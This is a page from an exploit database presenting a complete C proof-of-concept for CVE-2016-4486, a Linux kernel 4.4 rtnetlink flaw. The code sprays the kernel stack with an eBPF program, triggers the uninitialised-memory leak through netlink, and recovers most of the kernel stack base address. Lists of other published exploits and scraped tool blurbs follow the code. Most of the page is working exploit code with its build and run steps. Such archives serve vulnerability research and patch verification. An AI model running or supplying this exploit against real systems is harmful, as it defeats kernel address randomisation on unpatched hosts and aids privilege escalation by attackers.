Menu

Search for hundreds of thousands of exploits

"Linux Kernel 4.4 - 'rtnetlink' Stack Memory Disclosure"

Author

Exploit author

"Jinbum Park"

Platform

Exploit platform

linux

Release date

Exploit published date

2018-12-19

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
/*
 * [ Briefs ] 
 *    - CVE-2016-4486 has discovered and reported by Kangjie Lu.
 *    - This is local exploit against the CVE-2016-4486.
 *
 * [ Tested version ]
 *    - Distro :  Ubuntu 16.04
 *    - Kernel version :  4.4.0-21-generic
 *    - Arch : x86_64
 *
 * [ Prerequisites ]
 *    - None
 *
 * [ Goal ]
 *    - Leak kernel stack base address of current process by exploiting CVE-2016-4486.
 *
 * [ Exploitation ]
 *    - CVE-2016-4486 leaks 32-bits arbitrary kernel memory from uninitialized stack.
 *    - This exploit gets 61-bits stack base address among the 64-bits full address.
 *      remaining 3-bits is not leaked because of limitation of ebpf.
 *    - Full exploitation are performed as follows.
 *
 *    1. Spraying kernel stack as kernel stack address via running ebpf program.
 *       - We can spray stack up to 512-bytes by running ebpf program.
 *       - After this step, memory to be leaked will be filled with kernel stack address.
 *    2. Trigger CVE-2016-4486 to leak 4-bytes which is low part of stack address.
 *       - After this step, stack address :  0xffff8800????????;  (? is unknown address yet.)
 *    3. Leak high 4-bytes of stack address. The leaking is done as one-by-one bit. why one-by-one?
 *       - CVE-2016-4486 allows to leak 4-bytes only, so that we always get low 4-bytes of stack address.
 *       - Then, How to overcome this challenge?? The one of possible answer is that
 *         do operation on high-4bytes with carefully selected value which changes low-4bytes.
 *         For example, Assume that real stack address is 0xffff880412340000;
 *         and, do sub operation. ==> 0xffff880412340000 - 0x0000000012360000 (selected value);
 *         The result will be "0xffff8803....." ==> Yap! low 4-bytes are changed!! and We can see this!
 *         The result makes us to know that high 4-bytes are smaller than 0x12360000;
 *         Then, We can keep going with smaller value.
 *       - The algorithm is quite similar to quick-search.
 *    4. Unfortunately, ebpf program limitation stops us to leak full 64-bits.
 *       - 3-bits (bit[16], bit[15], bit[14]) are not leaked.
 *       - But, Since 3-bit is not sufficient randomness, It's very valuable for attacker.
 *    Bonus) Why do I use compat_sendmsg() instead of normal sendmsg()?
 *       - When I did spraying stack with normal sendmsg(), I couldn't spray up to memory to be leaked.
 *       - If I use compat-sendmsg(), The execution path will be different from normal sendmsg().
 *         This makes me to spray it more far.
 *
 * [ Run exploit ]
 *    - $ gcc poc.c -o poc
 *    - $ ./poc
 *        ....
 *        ....
 *        leak stack address range :
 *        -----from :  ffff88007f7e0000
 *        --------to : ffff88007f7fc000
 *       (Since we can get 61-bit address, Print the possible address range out.)
 *
 * [ Contact ]
 *    - jinb.park7@gmail.com
 *    - github.com/jinb-park
 */

#include <asm/types.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <asm/unistd_64.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <linux/bpf.h>
#include <linux/filter.h>

#define GPLv2 "GPL v2"
#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))

#define INTERFACE_INDEX (0)
#define LEAK_OFFSET (28)

/*
 * BPF-based stack sprayer
 */
/* registers */
/* caller-saved: r0..r5 */
#define BPF_REG_ARG1    BPF_REG_1
#define BPF_REG_ARG2    BPF_REG_2
#define BPF_REG_ARG3    BPF_REG_3
#define BPF_REG_ARG4    BPF_REG_4
#define BPF_REG_ARG5    BPF_REG_5
#define BPF_REG_CTX     BPF_REG_6
#define BPF_REG_FP      BPF_REG_10

#define BPF_MOV32_REG(DST, SRC)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU | BPF_MOV | BPF_X,       \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)        \
  ((struct bpf_insn) {                          \
    .code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,\
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = OFF,                               \
    .imm   = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM)         \
  ((struct bpf_insn) {                          \
    .code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = OFF,                               \
    .imm   = IMM })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF)        \
  ((struct bpf_insn) {                          \
    .code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = OFF,                               \
    .imm   = 0 })
#define BPF_STX_ADD_MEM(SIZE, DST, SRC, OFF)        \
  ((struct bpf_insn) {                          \
    .code  = BPF_STX | BPF_XADD | BPF_SIZE(SIZE),\
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = OFF,                               \
    .imm   = 0 })
#define BPF_MOV64_IMM(DST, IMM)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_MOV | BPF_K,       \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })	
#define BPF_EXIT_INSN()                         \
  ((struct bpf_insn) {                          \
    .code  = BPF_JMP | BPF_EXIT,                \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_MOV64_REG(DST, SRC)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_ALU64_IMM(OP, DST, IMM)             \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,    \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })
#define BPF_ALU64_REG(OP, DST, SRC)             \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_OP(OP) | BPF_X,    \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = 0 })

int bpf_(int cmd, union bpf_attr *attrs)
{
    return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int prog_load(struct bpf_insn *insns, size_t insns_count)
{
    char verifier_log[100000];
    union bpf_attr create_prog_attrs = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insn_cnt = insns_count,
        .insns = (uint64_t)insns,
        .license = (uint64_t)GPLv2,
        .log_level = 1,
        .log_size = sizeof(verifier_log),
        .log_buf = (uint64_t)verifier_log
    };
    int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
    int errno_ = errno;
    errno = errno_;
    if (progfd == -1) {
		printf("bpf prog load error\n");
		exit(-1);
	}
    return progfd;
}

int create_socket_by_socketpair(int *progfd)
{
	int socks[2];
    if (socketpair(AF_UNIX, SOCK_SEQPACKET, 0, socks)) {
        printf("socketpair error\n");
        exit(-1);
    }
    if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, progfd, sizeof(int))) {
        printf("setsockopt error\n");
        exit(-1);
    }
    return socks[1];
}

int create_filtered_socket_fd(struct bpf_insn *insns, size_t insns_count)
{
    int progfd = prog_load(insns, insns_count);
	return create_socket_by_socketpair(&progfd);
}

#define NR_sendmsg_32 370	// for 32-bit

typedef unsigned int compat_uptr_t;
typedef int compat_int_t;
typedef unsigned int compat_size_t;
typedef unsigned int compat_uint_t;

struct compat_msghdr {
    compat_uptr_t   msg_name;   /* void * */
    compat_int_t    msg_namelen;
    compat_uptr_t   msg_iov;    /* struct compat_iovec * */
    compat_size_t   msg_iovlen;
    compat_uptr_t   msg_control;    /* void * */
    compat_size_t   msg_controllen;
    compat_uint_t   msg_flags;
};
struct compat_iovec {
    compat_uptr_t   iov_base;
    compat_size_t   iov_len;
};

int sendmsg_by_legacy_call(int fd, unsigned int msg, int flags)
{
	int r = -1;

	asm volatile (
		"push %%rax\n"
		"push %%rbx\n"
		"push %%rcx\n"
		"push %%rdx\n"
		"push %%rsi\n"
		"push %%rdi\n"
		"mov %1, %%eax\n"
		"mov %2, %%ebx\n"
		"mov %3, %%ecx\n"
		"mov %4, %%edx\n"
		"int $0x80\n"
		"mov %%eax, %0\n"
		"pop %%rdi\n"
		"pop %%rsi\n"
		"pop %%rdx\n"
		"pop %%rcx\n"
		"pop %%rbx\n"
		"pop %%rax\n"
		: "=r" (r)
		: "r"(NR_sendmsg_32), "r"(fd), "r"(msg), "r"(flags)
		: "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi"
	);

	return r;
}

#define COMPAT_SENDMSG
void trigger_proc(int sockfd)
{
#ifdef COMPAT_SENDMSG
	struct compat_msghdr *msg = NULL;
	struct compat_iovec *iov = NULL;
#else
	struct msghdr *msg = NULL;
	struct iovec *iov = NULL;
#endif
	char *buf = NULL;
	int r;

	// allocate under-32-bit address for compat syscall
	msg = mmap(0x70000, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	if (msg == MAP_FAILED) {
		printf("mmap error : %d, %s\n", errno, strerror(errno));
		exit(0);
	}
	buf = mmap(0x90000, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	if (buf == MAP_FAILED) {
		printf("mmap error : %d, %s\n", errno, strerror(errno));
		exit(0);
	}
	iov = mmap(0xb0000, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	if (buf == MAP_FAILED) {
		printf("mmap error : %d, %s\n", errno, strerror(errno));
		exit(0);
	}

#ifdef COMPAT_SENDMSG
	iov->iov_base = (compat_uptr_t)buf;
#else
	iov->iov_base = buf;
#endif
	iov->iov_len = 128;
	msg->msg_name = NULL;
	msg->msg_namelen = 0;
#ifdef COMPAT_SENDMSG
	msg->msg_iov = (compat_uptr_t)iov;
#else
	msg->msg_iov = iov;
#endif
	msg->msg_iovlen = 1;
	msg->msg_control = NULL;
	msg->msg_controllen = 0;
	msg->msg_flags = 0;

#ifdef COMPAT_SENDMSG
	r = sendmsg_by_legacy_call(sockfd, (unsigned int)msg, 0);
#else
	r = sendmsg(sockfd, msg, 0);
#endif
	if (r < 0) {
		printf("sendmsg error, %d, %s\n", errno, strerror(errno));
		exit(-1);
	}
}

int sockfds = -1;

void stack_spraying_by_bpf(unsigned long val)
{
	int r;

	struct bpf_insn stack_spraying_insns[] = {
		BPF_MOV64_REG(BPF_REG_3, BPF_REG_FP),
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -val),

		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -368),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -376),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -384),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -392),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -400),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -408),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -416),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -424),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -432),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -440),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -448),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -456),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -464),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -472),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -480),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -488),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -496),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -504),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -512),

		BPF_MOV64_IMM(BPF_REG_0, 0),
		BPF_EXIT_INSN()
	};

	sockfds = create_filtered_socket_fd(stack_spraying_insns, ARRSIZE(stack_spraying_insns));
	if (sockfds < 0)
		return;

	trigger_proc(sockfds);
    close(sockfds);
	//sleep(1);
}

/*
28byte, 32byte including padding
struct rtnl_link_ifmap {
    __u64   mem_start;
    __u64   mem_end;
    __u64   base_addr;
    __u16   irq;
    __u8    dma;
    __u8    port;
};*/

// rtnl_fill_link_ifmap <-- rtnl_fill_ifinfo (symbol)

struct {
	struct nlmsghdr nh;
	struct ifinfomsg ifm;
	char attrbuf[512];
} req;

// Ubuntu 4.4.0-21-generic
#define RANGE_MIN_MASK ~((1<<16) | (1<<15) | (1<<14)) // and
#define RANGE_MAX_MASK ((1<<16) | (1<<15) | (1<<14)) // or

int main(int argc, char **argv)
{
	unsigned char buf[65535];
  	unsigned char map_buf[36] = {0,};
  	struct nlmsghdr *nl_msg_ptr;
  	struct ifinfomsg *inf_msg_ptr;
  	struct rtnl_link_ifmap *map_ptr;
  	struct rtattr *rta_ptr;
  	int size, len, attr_len, offset;
	int progfd;
	unsigned int sub_val = 0;
	unsigned int leak_value;
	unsigned long leak_full_stack = 0;
	unsigned int low_stack = 0;
	int i;

	for (i=0; i<16; i++) {
		int rtnetlink_sk = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE);

		memset(&req, 0, sizeof(req));

		req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
		req.nh.nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST;
		req.nh.nlmsg_type = RTM_GETLINK;
		req.nh.nlmsg_seq = 1;

		req.ifm.ifi_family = AF_UNSPEC;
		req.ifm.ifi_index = INTERFACE_INDEX;
		req.ifm.ifi_change = 0xffffffff;
	
		if (i == 0)
			sub_val = 0;
		else
			sub_val += (1 << (32 - i));

		stack_spraying_by_bpf((unsigned long)sub_val);
		if (send(rtnetlink_sk, &req, req.nh.nlmsg_len, 0) < 0) {
			printf("send error\n");
			goto out;
		}

		while (1) {
			if ((size = recv(rtnetlink_sk, buf, sizeof(buf), 0)) < 0) {
				fprintf(stderr, "ERROR recv(): %s\n", strerror(errno));
				goto out;
			}
			
			for (nl_msg_ptr = (struct nlmsghdr *)buf; size > (int)sizeof(*nl_msg_ptr);) {
				len = nl_msg_ptr->nlmsg_len;

				if (nl_msg_ptr->nlmsg_type == NLMSG_ERROR) {
					printf("NLMSG_ERROR\n");
					goto out;
				}
				else if (nl_msg_ptr->nlmsg_type == NLMSG_DONE)
					break;

				if (!NLMSG_OK(nl_msg_ptr, (unsigned int)size)) {
					printf("Not OK\n");
					goto out;
				}

				attr_len = IFLA_PAYLOAD(nl_msg_ptr);
				inf_msg_ptr = (struct ifinfomsg *)NLMSG_DATA(nl_msg_ptr);
				rta_ptr = (struct rtattr *)IFLA_RTA(inf_msg_ptr);

				for (; RTA_OK(rta_ptr, attr_len); rta_ptr = RTA_NEXT(rta_ptr, attr_len)) {
					if (rta_ptr->rta_type == IFLA_MAP) {
						if (rta_ptr->rta_len != sizeof(map_buf)) {
							printf("wrong size\n");
							goto out;
						}

						memcpy(map_buf, RTA_DATA(rta_ptr), sizeof(map_buf));
						map_ptr = &map_buf;
						leak_value = *(unsigned int *)(map_buf + LEAK_OFFSET);
						printf("leak_value : %08x\n", leak_value);
						break;
					}
				}		

				size -= NLMSG_ALIGN(len);
				nl_msg_ptr = (struct nlmsghdr *)((char *)nl_msg_ptr + NLMSG_ALIGN(len));
			}

			break;
		}

		if (low_stack == 0)
			low_stack = leak_value;
		else
			if (leak_value != low_stack)
				sub_val &= (~(1 << (32 - i)));	// clear bit

		memcpy((unsigned char *)&leak_full_stack + 4, &low_stack, 4);
		memcpy((unsigned char *)&leak_full_stack, &sub_val, 4);
		printf("[try-%d] stack address : %lx\n", i, leak_full_stack);
out:
		close(rtnetlink_sk);
	}

	printf("=======================================================================\n");
	printf("leak stack address range : \n");
	printf("-----from :  %lx\n", leak_full_stack & RANGE_MIN_MASK);
	printf("--------to : %lx\n", leak_full_stack | RANGE_MAX_MASK);
	printf("======================================================================\n");
	
	return 0;
}
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-11-27 "libupnp 1.6.18 - Stack-based buffer overflow (DoS)" dos linux "Patrik Lantz"
2020-11-24 "ZeroShell 3.9.0 - 'cgi-bin/kerbynet' Remote Root Command Injection (Metasploit)" webapps linux "Giuseppe Fuggiano"
2020-10-28 "Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion" webapps linux "Ivo Palazzolo"
2020-10-28 "Blueman < 2.1.4 - Local Privilege Escalation" local linux "Vaisha Bernard"
2020-10-28 "aptdaemon < 1.1.1 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-10-28 "PackageKit < 1.1.13 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-09-11 "Gnome Fonts Viewer 3.34.0 - Heap Corruption" local linux "Cody Winkler"
2020-07-10 "Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution" remote linux SpicyItalian
2020-07-06 "Grafana 7.0.1 - Denial of Service (PoC)" dos linux mostwanted002
Release Date Title Type Platform Author
2018-12-19 "Linux Kernel 4.4 - 'rtnetlink' Stack Memory Disclosure" local linux "Jinbum Park"
2018-11-30 "Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp Kernel Pointer" dos linux "Jinbum Park"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.